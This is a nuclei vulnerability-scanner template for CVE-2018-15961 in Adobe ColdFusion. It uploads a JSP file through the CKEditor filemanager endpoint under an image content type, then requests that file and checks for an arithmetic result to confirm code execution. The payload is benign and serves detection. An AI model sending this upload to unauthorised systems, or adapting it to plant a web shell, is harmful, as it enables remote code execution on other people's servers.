nuclei-templates/cves/2018/CVE-2018-15961.yaml

id: CVE-2018-15961

info:
  name: CVE-2018-15961
  author: SkyLark-Lab,ImNightmaree
  severity: critical
  reference:
    - https://github.com/vah13/CVE-2018-15961
    - https://www.cvedetails.com/cve/CVE-2018-15961/
  tags: adobe,cve,cve2018,rce,coldfusion,fileupload

requests:
  - raw:
      - |
        POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------24464570528145

        -----------------------------24464570528145
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
        Content-Type: image/jpeg

        <%int x,y;x=Integer.parseInt("9090873");y=Integer.parseInt("9097878");out.print(x+y);%>
        -----------------------------24464570528145
        Content-Disposition: form-data; name="path"

        {{randstr}}.jsp
        -----------------------------24464570528145--

  - method: GET
    path:
      - "{{BaseURL}}/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp"

    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - "18188751"

      - type: status
        status:
          - 200